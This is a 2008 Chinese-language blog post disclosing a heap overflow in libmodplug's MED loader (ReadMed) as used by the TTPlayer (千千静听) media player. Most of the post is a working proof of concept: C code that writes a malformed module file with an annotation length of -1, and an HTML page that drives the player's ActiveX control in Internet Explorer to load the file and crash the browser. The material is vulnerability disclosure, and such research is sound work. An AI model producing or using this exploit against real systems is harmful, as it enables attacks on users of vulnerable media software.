鬼仔's Blog

author: dummy
e-mail: [email protected]
date: 2008/02/25

千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中，没有检查
文件描述的长度，如果传递一个恶意构造的值，将导致堆溢出。
现在采用libmod 软件很多，都应该存在此问题。

下面是构造问题文件的代码，最后是使用最新版本千千静听的 ax 写的 poc.
/*
libmodplug v0.8
load_med.cpp
BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)
line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);
*/

/*
author: dummy
e-mail: [email protected]

date: 2008/02/25
*/

#include <windows.h>
#include <stdio.h>

#pragma pack(1)

typedef struct tagMEDMODULEHEADER
{
DWORD id; // MMD1-MMD3
DWORD modlen; // Size of file
DWORD song; // Position in file for this song
WORD psecnum;
WORD pseq;
DWORD blockarr; // Position in file for blocks
DWORD mmdflags;
DWORD smplarr; // Position in file for samples
DWORD reserved;
DWORD expdata; // Absolute offset in file for ExpData (0 if not present)
DWORD reserved2;
WORD pstate;
WORD pblock;
WORD pline;
WORD pseqnum;
WORD actplayline;
BYTE counter;
BYTE extra_songs; // # of songs – 1
} MEDMODULEHEADER;

typedef struct tagMMD0SAMPLE
{
WORD rep, replen;
BYTE midich;
BYTE midipreset;
BYTE svol;
signed char strans;
} MMD0SAMPLE;

// MMD0/MMD1 song header
typedef struct tagMMD0SONGHEADER
{
MMD0SAMPLE sample[63];
WORD numblocks; // # of blocks
WORD songlen; // # of entries used in playseq
BYTE playseq[256]; // Play sequence
WORD deftempo; // BPM tempo
signed char playtransp; // Play transpose
BYTE flags; // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song
BYTE flags2; // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on
BYTE tempo2; // tempo TPL
BYTE trkvol[16]; // track volumes
BYTE mastervol; // master volume
BYTE numsamples; // # of samples (max=63)
} MMD0SONGHEADER;

typedef struct tagMMD0EXP
{
DWORD nextmod; // File offset of next Hdr
DWORD exp_smp; // Pointer to extra instrument data
WORD s_ext_entries; // Number of extra instrument entries
WORD s_ext_entrsz; // Size of extra instrument data
DWORD annotxt;
DWORD annolen;
DWORD iinfo; // Instrument names
WORD i_ext_entries;
WORD i_ext_entrsz;
DWORD jumpmask;
DWORD rgbtable;
BYTE channelsplit[4]; // Only used if 8ch_conv (extra channel for every nonzero entry)
DWORD n_info;
DWORD songname; // Song name
DWORD songnamelen;
DWORD dumps;
DWORD mmdinfo;
DWORD mmdrexx;
DWORD mmdcmd3x;
DWORD trackinfo_ofs; // ptr to song->numtracks ptrs to tag lists
DWORD effectinfo_ofs; // ptr to group ptrs
DWORD tag_end;
} MMD0EXP;

#pragma pack()

// Byte swapping functions from the GNU C Library and libsdl

/* Swap bytes in 16 bit value. */
#ifdef __GNUC__
# define bswap_16(x) \
(__extension__ \
({ unsigned short int __bsx = (x); \
((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))
#else
static __inline unsigned short int
bswap_16 (unsigned short int __bsx)
{
return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));
}
#endif

/* Swap bytes in 32 bit value. */
#ifdef __GNUC__
# define bswap_32(x) \
(__extension__ \
({ unsigned int __bsx = (x); \
((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) | \
(((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))
#else
static __inline unsigned int
bswap_32 (unsigned int __bsx)
{
return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |
(((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));
}
#endif

#ifdef WORDS_BIGENDIAN
#define bswapLE16(X) bswap_16(X)
#define bswapLE32(X) bswap_32(X)
#define bswapBE16(X) (X)
#define bswapBE32(X) (X)
#else
#define bswapLE16(X) (X)
#define bswapLE32(X) (X)
#define bswapBE16(X) bswap_16(X)
#define bswapBE32(X) bswap_32(X)
#endif

int main()
{
MEDMODULEHEADER mmh;
MMD0SONGHEADER msh;
MMD0EXP mex;
FILE* file;
long p;

memset(&mmh, 0, sizeof (mmh));
memset(&msh, 0, sizeof (msh));
memset(&mex, 0, sizeof (mex));

p = 0;

mmh.id = 0x30444D4D; // version = '0'

p += sizeof (MEDMODULEHEADER);
mmh.song = bswapBE32(p);

p += sizeof (MMD0SONGHEADER);
mmh.expdata = bswapBE32(p);

p += sizeof (MMD0EXP);
mex.annolen = bswapBE32(-1);
mex.annotxt = bswapBE32(p);

file = fopen("test.s3m", "wb+");
if ( file == NULL )
{
printf("create file failed!\n");
}
else
{
fwrite(&mmh, 1, sizeof (mmh), file);
fwrite(&msh, 1, sizeof (msh), file);
fwrite(&mex, 1, sizeof (mex), file);

while ( ftell(file) < 0x1000 )
{
fwrite("AAAAAAAAAAAAAAAAAAAA", 1, 16, file);
}

fclose(file);

printf("successed!\n");
}

return 0;
}

/*
最新的千千静听提供了 ax, 下面是在 Ie 中触发此漏洞。会导致 ie 崩溃。
*/

<html>
<body>
<OBJECT ID="ttp" WIDTH="250" HEIGHT="400" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03">
</OBJECT>
<INPUT TYPE="button" NAME="test" CAPTION="test" onClick="Test()">
<SCRIPT LANGUAGE="JavaScript">
<!–
function Test()
{
var controls = ttp.controls;

ttp.URL = "http:\\127.0.0.1\\test.s3m";
controls.play();
}
//–>
</SCRIPT>
</body>
</html>